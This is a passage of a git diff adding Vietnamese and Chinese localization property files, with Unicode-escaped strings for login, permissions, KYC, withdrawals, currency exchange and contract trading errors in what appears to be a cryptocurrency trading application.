gi\u1EDBi h\u1EA1n k\u00EDch th\u01B0\u1EDBc t\u1EC7p!
K\u00EDch th\u01B0\u1EDBc t\u1EC7p t\u1ED1i \u0111a \u0111\u01B0\u1EE3c ph\u00E9p l\u00E0: {0}MB! +upload.filename.exceed.length=T\u00EAn t\u1EC7p \u0111\u00E3 t\u1EA3i l\u00EAn ph\u1EA3i d\u00E0i t\u1ED1i \u0111a {0} k\u00FD t\u1EF1 +no.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n truy c\u1EADp d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.create.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n t\u1EA1o d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.update.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n s\u1EEDa \u0111\u1ED5i d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.delete.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n x\u00F3a d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.export.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n xu\u1EA5t d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.view.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n xem d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +user.register.email.format=\u0110\u1ECBnh d\u1EA1ng email kh\u00F4ng \u0111\u00FAng +user.register.email.exisit=Email \u0111\u00E3 t\u1ED3n t\u1EA1i +user.register.phone.exisit=Email \u0111\u00E3 t\u1ED3n t\u1EA1i +user.user_name_exisit=t\u00EAn n\u00E0y \u0111\u00E3 c\u00F3 ng\u01B0\u1EDDi d\u00F9ng +login.user_error=sai t\u00EAn ng\u01B0\u1EDDi d\u00F9ng ho\u1EB7c m\u1EADt kh\u1EA9u +user.login.address.error=\u0110\u1ECBa ch\u1EC9 \u0111\u00E3 c\u00F3 ng\u01B0\u1EDDi s\u1EED d\u1EE5ng! +app.login.address.not.null=\u0110\u1ECBa ch\u1EC9 ng\u01B0\u1EDDi d\u00F9ng tr\u1ED1ng +login.email.not_register= Vui l\u00F2ng s\u1EED d\u1EE5ng \u0111\u1ECBa ch\u1EC9 email b\u1ECB r\u00E0ng bu\u1ED9c \u0111\u1EC3 ho\u1EA1t \u0111\u1ED9ng +login.phone.not_register=Vui l\u00F2ng s\u1EED d\u1EE5ng s\u1ED1 \u0111i\u1EC7n tho\u1EA1i di \u0111\u1ED9ng \u0111\u01B0\u1EE3c li\u00EAn k\u1EBFt \u0111\u1EC3 v\u1EADn h\u00E0nh +login.code_error=L\u1ED7i m\u00E3 x\u00E1c minh +user.login.code.error=X\u00E1c minh m\u00E3 x\u00E1c minh kh\u00F4ng th\u00E0nh c\u00F4ng! +user.login.password.null=Vui l\u00F2ng nh\u1EADp m\u1EADt kh\u1EA9u c\u1EE7a b\u1EA1n! +user.login.upd.success=\u0110\u00E3 s\u1EEDa \u0111\u1ED5i th\u00E0nh c\u00F4ng! +phone_code_empty=S\u1ED1 \u0111i\u1EC7n tho\u1EA1i di \u0111\u1ED9ng kh\u00F4ng \u0111\u01B0\u1EE3c \u0111\u1EC3 tr\u1ED1ng! +email.code_empty=E-mail kh\u00F4ng \u0111\u01B0\u1EE3c \u0111\u1EC3 tr\u1ED1ng! +user.code.send=M\u00E3 x\u00E1c minh \u0111\u00E3 \u0111\u01B0\u1EE3c g\u1EEDi th\u00E0nh c\u00F4ng +app.verification.email.code=M\u00E3 x\u00E1c minh \u0111\u00E3 \u0111\u01B0\u1EE3c g\u1EEDi t\u1EDBi email c\u1EE7a b\u1EA1n, vui l\u00F2ng ki\u1EC3m tra. +user.password_bind=M\u1EADt kh\u1EA9u \u0111\u00E3 \u0111\u01B0\u1EE3c \u0111\u1EB7t, vui l\u00F2ng kh\u00F4ng li\u00EAn k\u1EBFt l\u1EA1i. +user.tard.password_bind= M\u1EADt kh\u1EA9u b\u1EA3o m\u1EADt \u0111\u00E3 \u0111\u01B0\u1EE3c \u0111\u1EB7t, vui l\u00F2ng kh\u00F4ng li\u00EAn k\u1EBFt l\u1EA1i. +user.login.null=Ng\u01B0\u1EDDi d\u00F9ng kh\u00F4ng t\u1ED3n t\u1EA1i! +user.login.old.password=M\u1EADt kh\u1EA9u c\u0169 ch\u01B0a \u0111\u01B0\u1EE3c nh\u1EADp! +user.login.new.password=M\u1EADt kh\u1EA9u m\u1EDBi ch\u01B0a \u0111\u01B0\u1EE3c nh\u1EADp! +user.login.paw.upd=M\u1EADt kh\u1EA9u m\u1EDBi kh\u00F4ng \u0111\u01B0\u1EE3c gi\u1ED1ng m\u1EADt kh\u1EA9u c\u0169! +user.login.old.password.error=M\u1EADt kh\u1EA9u c\u0169 sai! +user.login.address.null=\u0110\u1ECBa ch\u1EC9 tr\u1ED1ng! +user.login.userid.null=ID ng\u01B0\u1EDDi d\u00F9ng tr\u1ED1ng! +user.password_notbind=H\u00E3y \u0111\u1EB7t m\u1EADt kh\u1EA9u an to\u00E0n +tard_password.error=Sai m\u1EADt kh\u1EA9u thanh to\u00E1n +#\u63D0\u73B0 +withdraw.amount_number_exceed= R\u00FAt ti\u1EC1n v\u01B0\u1EE3t qu\u00E1 s\u1ED1 l\u1EA7n \u0111\u00E3 \u0111\u1EB7t trong ng\u00E0y +withdraw_error= S\u1ED1 d\u01B0 kh\u00F4ng \u0111\u1EE7, kh\u00F4ng th\u1EC3 r\u00FAt ti\u1EC1n m\u1EB7t +withdraw.amount_error=S\u1ED1 ti\u1EC1n r\u00FAt sai, vui l\u00F2ng s\u1EEDa l\u1EA1i. +withdraw.refresh=vui l\u00F2ng l\u00E0m m\u1EDBi +withdraw.address.isnull=Vui l\u00F2ng \u0111i\u1EC1n \u0111\u00FAng \u0111\u1ECBa ch\u1EC9 r\u00FAt ti\u1EC1n! +withdraw_error_coin=Lo\u1EA1i ti\u1EC1n t\u1EC7 n\u00E0y kh\u00F4ng t\u1ED3n t\u1EA1i +withdraw_error_rate=T\u1EF7 gi\u00E1 h\u1ED1i \u0111o\u00E1i n\u00E0y kh\u00F4ng t\u1ED3n t\u1EA1i +user.kyc.not_blank= T\u1EA5t c\u1EA3 b\u1ED1n m\u1EE5c th\u00F4ng tin x\u00E1c th\u1EF1c danh t\u00EDnh \u0111\u1EC1u \u0111\u01B0\u1EE3c y\u00EAu c\u1EA7u. +exchange.symbol.exist= Lo\u1EA1i ti\u1EC1n quy \u0111\u1ED5i kh\u00F4ng \u0111\u01B0\u1EE3c \u0111\u1EC3 tr\u1ED1ng v\u00E0 s\u1ED1 ti\u1EC1n quy \u0111\u1ED5i ph\u1EA3i l\u1EDBn h\u01A1n 0 +recharge.amout.min=S\u1ED1 ti\u1EC1n g\u1EEDi t\u1ED1i thi\u1EC3u l\u00E0 {0} +recharge.amout.max=S\u1ED1 ti\u1EC1n n\u1EA1p t\u1ED1i \u0111a l\u00E0 {0} +currency.exchange_min=S\u1ED1 ti\u1EC1n trao \u0111\u1ED5i t\u1ED1i thi\u1EC3u l\u00E0 {0} +currency.exchange_max=S\u1ED1 ti\u1EC1n trao \u0111\u1ED5i t\u1ED1i \u0111a l\u00E0 {0} +exchange_error=S\u1ED1 ti\u1EC1n quy \u0111\u1ED5i l\u1EDBn h\u01A1n s\u1ED1 d\u01B0 t\u00E0i kho\u1EA3n +exchange.record.exist.error=B\u1EA1n \u0111ang ti\u1EBFn h\u00E0nh \u0111\u1ED5i qu\u00E0, vui l\u00F2ng th\u1EED l\u1EA1i sau +exchange_symbol_error_exist=\u0110\u1ED3ng ti\u1EC1n trao \u0111\u1ED5i kh\u00F4ng t\u1ED3n t\u1EA1i +order_amount_error= S\u1ED1 d\u01B0 trong v\u00ED kh\u00F4ng \u0111\u1EE7, kh\u00F4ng th\u1EC3 mua +order_10s_retry=\u0110\u01A1n h\u00E0ng \u0111\u01B0\u1EE3c \u0111\u1EB7t qu\u00E1 th\u01B0\u1EDDng xuy\u00EAn, vui l\u00F2ng th\u1EED \u0111\u1EB7t h\u00E0ng sau 10 gi\u00E2y... +user.push.message=Ho\u1EA1t \u0111\u1ED9ng c\u1EE7a ng\u01B0\u1EDDi d\u00F9ng b\u1ECB c\u1EA5m +mine.level.error=C\u1EA5p VIP c\u1EE7a b\u1EA1n kh\u00F4ng \u0111\u1EE7 \u0111\u1EC3 mua c\u00E1c s\u1EA3n ph\u1EA9m t\u00E0i ch\u00EDnh +order.single.min=S\u1ED1 ti\u1EC1n mua \u00EDt h\u01A1n gi\u1EDBi h\u1EA1n t\u1ED1i thi\u1EC3u v\u00E0 kh\u00F4ng th\u1EC3 mua \u0111\u01B0\u1EE3c +order.single.max=S\u1ED1 ti\u1EC1n mua l\u1EDBn h\u01A1n gi\u1EDBi h\u1EA1n t\u1ED1i \u0111a v\u00E0 kh\u00F4ng th\u1EC3 mua \u0111\u01B0\u1EE3c. +order.buy.insufficient=S\u1ED1 ti\u1EC1n t\u1ED1i \u0111a b\u1EA1n c\u00F3 th\u1EC3 mua hi\u1EC7n t\u1EA1i l\u00E0 {0} +product.removed=S\u1EA3n ph\u1EA9m \u0111\u00E3 \u0111\u01B0\u1EE3c g\u1EE1 b\u1ECF kh\u1ECFi k\u1EC7 +financial.count.max=Ng\u01B0\u1EDDi d\u00F9ng n\u00E0y \u0111\u00E3 \u0111\u1EA1t \u0111\u1EBFn gi\u1EDBi h\u1EA1n v\u00E0 kh\u00F4ng \u0111\u01B0\u1EE3c ph\u00E9p mua h\u00E0ng. +days.not.null=Chu k\u1EF3 mua h\u00E0ng tr\u1ED1ng +days.not.error=L\u1ED7i chu k\u1EF3 mua h\u00E0ng +contract.accont.error=S\u1ED1 d\u01B0 trong t\u00E0i kho\u1EA3n h\u1EE3p \u0111\u1ED3ng kh\u00F4ng \u0111\u1EE7 +contract.min.share=S\u1ED1 l\u01B0\u1EE3ng mua t\u1ED1i thi\u1EC3u l\u00E0 {0} +contract.max.share=S\u1ED1 l\u1EA7n mua t\u1ED1i \u0111a l\u00E0 {0} +contract.asset.error=S\u1ED1 d\u01B0 trong t\u00E0i kho\u1EA3n h\u1EE3p \u0111\u1ED3ng kh\u00F4ng \u0111\u1EE7 +adjust.min.error=S\u1ED1 ti\u1EC1n k\u00FD qu\u1EF9 gi\u1EA3m kh\u00F4ng \u0111\u01B0\u1EE3c nh\u1ECF h\u01A1n s\u1ED1 ti\u1EC1n k\u00FD qu\u1EF9 ban \u0111\u1EA7u +order.status.error=N\u1ED9p b\u00E0i b\u1EA5t h\u1EE3p ph\u00E1p +contract.buy.earn.error=Mua l\u00E2u, gi\u00E1 ch\u1ED1t l\u1EDDi kh\u00F4ng th\u1EC3 th\u1EA5p h\u01A1n gi\u00E1 m\u1EDF c\u1EEDa trung b\u00ECnh +contract.buy.loss.error=Mua l\u00E2u, gi\u00E1 d\u1EEBng l\u1ED7 kh\u00F4ng \u0111\u01B0\u1EE3c l\u1EDBn h\u01A1n gi\u00E1 m\u1EDF c\u1EEDa trung b\u00ECnh +contract.sell.earn.error=B\u00E1n \u0111\u1EC3 m\u1EDF m\u1ED9t v\u1ECB th\u1EBF b\u00E1n, gi\u00E1 ch\u1ED1t l\u1EDDi kh\u00F4ng \u0111\u01B0\u1EE3c l\u1EDBn h\u01A1n gi\u00E1 m\u1EDF c\u1EEDa trung b\u00ECnh +contract.sell.loss.error=B\u00E1n v\u00E0 m\u1EDF l\u1EC7nh b\u00E1n, gi\u00E1 d\u1EEBng l\u1ED7 kh\u00F4ng th\u1EC3 th\u1EA5p h\u01A1n gi\u00E1 m\u1EDF c\u1EEDa trung b\u00ECnh +contract.num.limit=S\u1ED1 l\u01B0\u1EE3ng kh\u00F4ng \u0111\u01B0\u1EE3c l\u1EDBn h\u01A1n v\u1ECB tr\u00ED +asset_amount_error=Thi\u1EBFu c\u00E2n b\u1EB1ng +order.amount_error=S\u1ED1 d\u01B0 trong t\u00E0i kho\u1EA3n t\u00E0i ch\u00EDnh kh\u00F4ng \u0111\u1EE7 +back.code.exist.error=S\u1ED1 th\u1EBB ng\u00E2n h\u00E0ng \u0111\u00E3 t\u1ED3n t\u1EA1i{} +contract.delivery.day= V\u1EABn c\u00F2n: {0} ng\u00E0y n\u1EEFa m\u1EDBi giao h\u00E0ng. +contract.delivery.margan=V\u1EABn c\u00F2n {0} ng\u00E0y tr\u01B0\u1EDBc khi giao h\u00E0ng; n\u1EBFu t\u00E0i s\u1EA3n th\u1EBF ch\u1EA5p v\u1ECB th\u1EBF c\u1EE7a b\u1EA1n l\u1EDBn h\u01A1n ho\u1EB7c b\u1EB1ng {1} USDT ho\u1EB7c t\u00E0i s\u1EA3n h\u1EE3p \u0111\u1ED3ng nh\u1ECF h\u01A1n ho\u1EB7c b\u1EB1ng {2} USDT, b\u1EA1n c\u00F3 th\u1EC3 \u0111\u00F3ng v\u1ECB th\u1EBF tr\u01B0\u1EDBc. +contract.delivery.earn=V\u1EABn c\u00F2n {0} ng\u00E0y tr\u01B0\u1EDBc th\u1EDDi \u0111i\u1EC3m giao h\u00E0ng; n\u1EBFu k\u00FD qu\u1EF9 v\u1ECB th\u1EBF c\u1EE7a b\u1EA1n l\u1EDBn h\u01A1n ho\u1EB7c b\u1EB1ng {1} USDT, b\u1EA1n c\u00F3 th\u1EC3 \u0111\u00F3ng v\u1ECB th\u1EBF tr\u01B0\u1EDBc. +contract.delivery.loss=V\u1EABn c\u00F2n: {0} ng\u00E0y tr\u01B0\u1EDBc th\u1EDDi gian giao h\u00E0ng; n\u1EBFu t\u00E0i s\u1EA3n th\u1EBF ch\u1EA5p v\u1ECB th\u1EBF c\u1EE7a b\u1EA1n nh\u1ECF h\u01A1n ho\u1EB7c b\u1EB1ng {1}USDT, b\u1EA1n c\u00F3 th\u1EC3 \u0111\u00F3ng v\u1ECB th\u1EBF tr\u01B0\u1EDBc. +order.audit.error=\u0110ang xem x\u00E9t +order.audit.pass= \u0111ang \u0111\u01B0\u1EE3c s\u1EA1c l\u1EA1i v\u00E0 c\u1EA7n \u0111\u01B0\u1EE3c 5 n\u00FAt tr\u00EAn to\u00E0n th\u1EBF gi\u1EDBi x\u00E1c nh\u1EADn. Vui l\u00F2ng ki\u00EAn nh\u1EABn ch\u1EDD \u0111\u1EE3i. +withdraw.kyc.error=Vui l\u00F2ng ho\u00E0n t\u1EA5t x\u00E1c th\u1EF1c t\u00EAn th\u1EADt tr\u01B0\u1EDBc \u0111\u1EC3 n\u00E2ng gi\u1EDBi h\u1EA1n +currency.coin.setting.nonexistent=C\u1EA5u h\u00ECnh {} hi\u1EC7n t\u1EA1i kh\u00F4ng t\u1ED3n t\u1EA1i +currency.balance.deficiency=S\u1ED1 d\u01B0 ti\u1EC1n t\u1EC7 {} hi\u1EC7n t\u1EA1i kh\u00F4ng \u0111\u1EE7 +currency.deal.error=Lo\u1EA1i ti\u1EC1n n\u00E0y kh\u00F4ng th\u1EC3 giao d\u1ECBch \u0111\u01B0\u1EE3c +order.10s_retry=\u0110\u01A1n h\u00E0ng \u0111\u01B0\u1EE3c \u0111\u1EB7t qu\u00E1 th\u01B0\u1EDDng xuy\u00EAn, vui l\u00F2ng th\u1EED \u0111\u1EB7t h\u00E0ng sau 10 gi\u00E2y... +own.coin.limit.num=S\u1ED1 l\u01B0\u1EE3ng c\u00F3 s\u1EB5n {0} +own.coin.limit=S\u1ED1 d\u01B0 kh\u1EA3 d\u1EE5ng {0} +own.coin.success=\u0110\u0103ng k\u00FD theo d\u00F5i th\u00E0nh c\u00F4ng +own.coin.error=L\u1ED7i h\u1EC7 th\u1ED1ng, vui l\u00F2ng li\u00EAn h\u1EC7 qu\u1EA3n tr\u1ECB vi\u00EAn +own.coin.sub.play=B\u1EA1n \u0111\u00E3 \u0111\u0103ng k\u00FD r\u1ED3i, vui l\u00F2ng kh\u00F4ng g\u1EEDi l\u1EA1i! +own.coin.sub.error=\u0110\u0103ng k\u00FD kh\u00F4ng c\u00F3 s\u1EB5n n\u1EBFu b\u1EA1n ch\u01B0a \u0111\u0103ng k\u00FD th\u00E0nh c\u00F4ng +own.coin.sub.success=B\u1EA1n \u0111\u00E3 \u0111\u1EA1t \u0111\u01B0\u1EE3c {0} b\u1EB1ng c\u1EA5p \u0111\u0103ng k\u00FD +own.coin.sub.num.error=Vui l\u00F2ng \u0111i\u1EC1n \u0111\u00FAng s\u1ED1 l\u01B0\u1EE3ng +order.sell.min.error=S\u1ED1 ti\u1EC1n b\u00E1n t\u1ED1i thi\u1EC3u l\u00E0 {0} +order.audit.reject=Kh\u00F4ng th\u1EC3 \u0111\u00F3ng v\u1ECB th\u1EBF +own.coin.subscribe.success=\u0110\u0103ng k\u00FD theo d\u00F5i th\u00E0nh c\u00F4ng +own.coin.subscribe.error=\u0110\u0103ng k\u00FD kh\u00F4ng th\u00E0nh c\u00F4ng +user.authentication.not.certified = Vui l\u00F2ng th\u1EF1c hi\u1EC7n ch\u1EE9ng nh\u1EADn ch\u00EDnh tr\u01B0\u1EDBc + +#\u9ED1\u540D\u5355 +user_is_black = T\u00E0i kho\u1EA3n c\u1EE7a b\u1EA1n \u0111\u00E3 b\u1ECB li\u1EC7t v\u00E0o danh s\u00E1ch \u0111en v\u00E0 kh\u00F4ng th\u1EC3 \u0111\u0103ng nh\u1EADp \u0111\u01B0\u1EE3c. + +withdraw_require_error = Hi\u1EC7n t\u1EA1i t\u00F4i v\u1EABn c\u1EA7n ch\u01A1i v\u1EDBi s\u1ED1 doanh thu c\u00F2n l\u1EA1i. + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error= S\u1ED1 l\u01B0\u1EE3ng \u0111\u1EB7t h\u00E0ng t\u1ED1i thi\u1EC3u l\u00E0 {0} +currency.order.max.error= S\u1ED1 l\u01B0\u1EE3ng \u0111\u1EB7t h\u00E0ng t\u1ED1i \u0111a l\u00E0 {0} + diff --git a/ruoyi-api/src/main/resources/i18n/messages_zh.properties b/ruoyi-api/src/main/resources/i18n/messages_zh.properties new file mode 100644 index 0000000..da72778 --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_zh.properties @@ -0,0 +1,170 @@ +user.appname=\u4E2D\u6587\u8BED\u8A00 + + + +#\u9519\u8BEF\u6D88\u606F +not.null=* \u5FC5\u987B\u586B\u5199 +user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF +user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548 +user.not.exists=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF +user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF +user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 +user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F +user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\u5DF2\u88AB\u5220\u9664 +user.blocked=\u7528\u6237\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +login.blocked=\u5F88\u9057\u61BE\uFF0C\u8BBF\u95EEIP\u5DF2\u88AB\u5217\u5165\u7CFB\u7EDF\u9ED1\u540D\u5355 +user.logout.success=\u9000\u51FA\u6210\u529F +user.ops.status=\u64CD\u4F5C\u6210\u529F + +length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 + +user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934 +user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26 + +user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF +user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF +user.login.success=\u767B\u5F55\u6210\u529F +user.register.success=\u6CE8\u518C\u6210\u529F +user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55 +user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 +user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01
\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01 +upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26 + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=\u90AE\u7BB1\u683C\u5F0F\u4E0D\u6B63\u786E +user.register.email.exisit=\u90AE\u7BB1\u5DF2\u5B58\u5728 +user.register.phone.exisit=\u90AE\u7BB1\u5DF2\u5B58\u5728 +user.user_name_exisit=\u7528\u6237\u540D\u5DF2\u7ECF\u5B58\u5728 +login.user_error=\u7528\u6237\u540D\u6216\u5BC6\u7801\u9519\u8BEF +user.login.address.error=\u5730\u5740\u88AB\u5360\u7528! +user.register.phone.exist=\u624B\u673A\u53F7\u5DF2\u7ECF\u5B58\u5728 +user.register.phone.bind=\u624B\u673A\u53F7\u5DF2\u7ECF\u7ED1\u5B9A +#app +app.login.address.not.null=\u7528\u6237\u5730\u5740\u4E3A\u7A7A +login.email.not_register=\u8BF7\u4F7F\u7528\u5DF2\u7ED1\u5B9A\u90AE\u7BB1\u8FDB\u884C\u64CD\u4F5C +login.phone.not_register=\u8BF7\u4F7F\u7528\u5DF2\u7ED1\u5B9A\u624B\u673A\u53F7\u8FDB\u884C\u64CD\u4F5C +login.code_error=\u9A8C\u8BC1\u7801\u9519\u8BEF +user.login.code.error=\u9A8C\u8BC1\u7801\u6548\u9A8C\u5931\u8D25! +user.login.password.null=\u8BF7\u8F93\u5165\u5BC6\u7801! +user.login.upd.success=\u4FEE\u6539\u6210\u529F! +phone_code_empty=\u624B\u673A\u53F7\u4E0D\u80FD\u4E3A\u7A7A! +email.code_empty=\u90AE\u7BB1\u4E0D\u80FD\u4E3A\u7A7A! +user.code.send=\u9A8C\u8BC1\u7801\u53D1\u9001\u6210\u529F +app.verification.email.code=\u9A8C\u8BC1\u7801\u5DF2\u53D1\u9001\u5230\u60A8\u7684\u90AE\u7BB1\uFF0C\u8BF7\u6CE8\u610F\u67E5\u6536 +user.password_bind=\u5BC6\u7801\u5DF2\u7ECF\u8BBE\u7F6E\uFF0C\u8BF7\u52FF\u91CD\u590D\u7ED1\u5B9A +user.tard.password_bind=\u5B89\u5168\u5BC6\u7801\u5DF2\u7ECF\u8BBE\u7F6E\uFF0C\u8BF7\u52FF\u91CD\u590D\u7ED1\u5B9A +user.login.null=\u7528\u6237\u4E0D\u5B58\u5728\uFF01 +user.login.old.password=\u65E7\u5BC6\u7801\u672A\u8F93\u5165\uFF01 +user.login.new.password=\u65B0\u5BC6\u7801\u672A\u8F93\u5165\uFF01 +user.login.paw.upd=\u65B0\u5BC6\u7801\u4E0D\u80FD\u4E0E\u65E7\u5BC6\u7801\u4E00\u81F4\uFF01 +user.login.old.password.error=\u65E7\u5BC6\u7801\u9519\u8BEF\uFF01 +user.login.address.null=\u5730\u5740\u4E3A\u7A7A\uFF01 +user.login.userid.null=\u7528\u6237ID\u4E3A\u7A7A\uFF01 +#\u63D0\u73B0 +user.password_notbind=\u8BF7\u8BBE\u7F6E\u5B89\u5168\u5BC6\u7801 +tard_password.error=\u652F\u4ED8\u5BC6\u7801\u9519\u8BEF +withdraw.amount_number_exceed=\u5F53\u65E5\u63D0\u73B0\u8D85\u8FC7\u8BBE\u5B9A\u6B21\u6570 +withdraw_error=\u4F59\u989D\u4E0D\u8DB3\uFF0C\u65E0\u6CD5\u63D0\u73B0 +withdraw.amount_error=\u63D0\u73B0\u91D1\u989D\u9519\u8BEF\uFF0C\u8BF7\u4FEE\u6539 +withdraw.refresh=\u8BF7\u5237\u65B0 +withdraw.address.isnull=\u8BF7\u586B\u5199\u6B63\u786E\u7684\u63D0\u73B0\u5730\u5740\uFF01 +withdraw_require_error = \u76EE\u524D\u8FD8\u9700\u8981\u73A9\u5269\u4E0B\u7684\u6D41\u6C34 +withdraw_error_coin=\u6B64\u5E01\u79CD\u4E0D\u5B58\u5728 +withdraw_error_rate=\u6B64\u5E01\u79CD\u6C47\u7387\u4E0D\u5B58\u5728 +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=\u8EAB\u4EFD\u8BA4\u8BC1\u4FE1\u606F4\u9879\u90FD\u662F\u5FC5\u586B + +#\u5151\u6362 +exchange.symbol.exist = \u5151\u6362\u7684\u5E01\u79CD\u4E0D\u80FD\u4E3A\u7A7A,\u5151\u6362\u91D1\u989D\u5FC5\u987B\u5927\u4E8E0 +recharge.amout.min=\u6700\u5C0F\u5145\u503C\u91D1\u989D\u4E3A{0} +recharge.amout.max=\u6700\u5927\u5145\u503C\u91D1\u989D\u4E3A{0} +currency.exchange_min = \u6700\u5C0F\u5151\u6362\u91D1\u989D\u4E3A{0} +currency.exchange_max = \u6700\u5927\u5151\u6362\u91D1\u989D\u4E3A{0} +exchange_error=\u5151\u6362\u91D1\u989D\u5927\u4E8E\u8D26\u6237\u4F59\u989D +exchange.record.exist.error=\u60A8\u6709\u4E00\u7B14\u5151\u6362\u6B63\u5728\u8FDB\u884C\u4E2D\uFF0C\u7A0D\u540E\u518D\u8BD5 +exchange_symbol_error_exist = \u5151\u6362\u5E01\u79CD\u4E0D\u5B58\u5728 +#\u79D2\u5408\u7EA6 +order_amount_error=\u94B1\u5305\u4F59\u989D\u4E0D\u8DB3\uFF0C\u65E0\u6CD5\u8D2D\u4E70 +order_10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... +#\u7406\u8D22 +order_amount_limit=\u4E0D\u7B26\u5408\u91D1\u989D\u4E0A\u4E0B\u9650 +user.push.message=\u7528\u6237\u64CD\u4F5C\u88AB\u7981\u6B62 +mine.level.error=\u60A8\u7684VIP\u7B49\u7EA7\u4E0D\u591F\uFF0C\u65E0\u6CD5\u8D2D\u4E70\u6B21\u7406\u8D22\u4EA7\u54C1 +order.single.min=\u8D2D\u4E70\u7684\u91D1\u989D\u5C11\u4E8E\u6700\u4F4E\u9650\u989D\uFF0C\u65E0\u6CD5\u8D2D\u4E70 +order.single.max=\u8D2D\u4E70\u7684\u91D1\u989D\u5927\u4E8E\u6700\u5927\u9650\u989D\uFF0C\u65E0\u6CD5\u8D2D\u4E70 +order.buy.insufficient=\u60A8\u5F53\u524D\u6700\u591A\u53EF\u8D2D\u4E70\u91D1\u989D\u4E3A{0} 